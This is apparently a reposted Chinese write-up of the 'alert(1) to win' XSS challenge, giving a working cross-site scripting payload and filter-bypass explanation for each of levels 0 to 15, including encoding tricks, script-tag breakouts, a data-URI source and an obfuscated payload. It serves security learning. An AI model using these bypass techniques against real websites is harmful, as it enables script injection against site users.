"alert(1) to win" writeup


地址:http://escape.alf.nu/

level 0: 注意補全,");alert(1)//

level 1: 通過添加反斜線使用來轉義的反斜線變為字符,\");alert(1)//
level 2: 雙引號,反斜杠都被轉義了……沒想到辦法,就搜了搜,原來可以直接不管雙引號而閉合<script>標簽,可能優先級不同吧,</script><script>alert(1)//

level 3: JSON.stringify() 方法可以將任意的 JavaScript 值序列化成 JSON 字符串。<a> 標簽的href屬性可執行js代碼,嘗試補全雙引號,插入自己的js代碼,直接插入會被轉義,使用URLencode可繞過,%22),alert(1)(%22

level 4: 這個題需要仔細地觀察正則式,注意到 " 僅僅替換了一次,<a>標簽中不能有空白符比較難用,而 <img> 標簽中的第二個匹配文本允許除換行符以外的任意字符,這個就比較好用了,注意閉合引號就好了,[[1|2"" onload=alert(1) "]]

level 5: 這是第4題的升級版," 全部被替換了,因此第4題的方法行不通了,對"進行編碼也行不通,百思不得其解啊,無奈看了看評論,得到解答 [[1|http://onload='alert(1)']],原來是同時利用 <img> 標簽跟 <a> 標簽啊!看看輸出的源碼就會發現,成功繞過了 "

level 6: 以 # 作為分隔符輸入兩個參數,如果 # 前面是 Element 結果就是創建一個新的節點,具體什么節點由 # 后面指定,而如果 # 前面是 Comment,那么 # 后面就變成注釋內容,閉合注釋符號然后寫入自己的代碼即可, Comment#><script>alert(1)</script><!

level 7: 仍然是以 # 作為分隔符輸入兩個參數,對第一個參數做正則匹配,注意匹配的字符中包括單引號 ',這是本題的關鍵,使用單引號和注釋符號來隔離 json 字符串中礙事的字符,就可以構造出來了,'#';alert(1)//

level 8: 使用 Data URI,插入一個 html 文檔,</script><script src=data:text/html,%61%6c%65%72%74(1)>

level 9: 其中一個答案

"+[][(''+!1)[3]+(''+{})[1]+(''+!0)[1]+(''+!0)[0]][(''+{})[5]+(''+{})[1]+(''+{}[0])[1]+(''+!1)[3]+(''+!0)[0]+(''+!0)[1]+(''+!0)[2]+(''+{})[5]+(''+!0)[0]+(''+{})[1]+(''+!0)[1]]((''+!1)[1] + (''+!1)[2] + (''+!1)[4] +(''+!0)[1]+(''+!0)[0]+"(1)")())//

不過沒看懂,詳見http://www.pwntester.com/blog/2014/01/08/escape-alf-nu-xss-challenges-write-ups-part-257/

level 10: 仔細分析代碼可知,輸入被js加入到<a>標簽中,但是加入之前做了編碼轉換,但是沒有對輸入的\進行編碼,因此我們可以利用16進制或8進制編碼被過濾的符號來進行注入,其中一個答案是:\x3cimg src=# onerror=alert(1)\x3e

level 11: 在 level 2 的基礎上加了將輸入中的</script字符串(忽略大小寫)全部替換為空串,但是並沒有遞歸匹配,因此可以構造一個字符串使被替換后剩下的字符串仍然能拼出</script,例如:</scr</scriptipt><script>alert(1)//

level 12: 跟 level 7 類似,只不過這次過濾的是/,因此要找一種不同的方式來注釋掉多余的字符,答案是:'#';alert(1)<!--

level 13: 關鍵是觸發

tag.onload = function() {
  if (youWon) alert(1);
};

答案是name="youWon"

level 14: HTML5解析器會將<!--<script></script>之間的任何東西都當作 JS
代碼處理,同時要確保代碼中還有一個-->來防止解析器報語法錯誤,我們可以注入if(alert(1)/*<!--<script>,結果代碼就變為

var url = "if(alert(1)/*<!--<script>"; // We'll use this later </script>

<!-- for debugging -->
URL: if(alert(1)/*<!--<script>

<!-- then suddenly -->
<script>
if (!/^http:.*/.test(url)) console.log("Bad url: " + url);
else new Image().src = url;

level 15: 與 level 14 類似,但是需要自己注入-->來閉合標簽,答案是:<!--<script>#)/;alert(1)//-->,結果代碼變為

<script>console.log("<!--<script>")</script><script>console.log(")/;alert(1)//-->")</script>

<script>標簽內的代碼被解析為

console.log("junk_string") < /junk_regexp/ ; alert(1) // -->

其中,junk_string:<!--<script>,junk_regexp: script><script>console.log(")


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM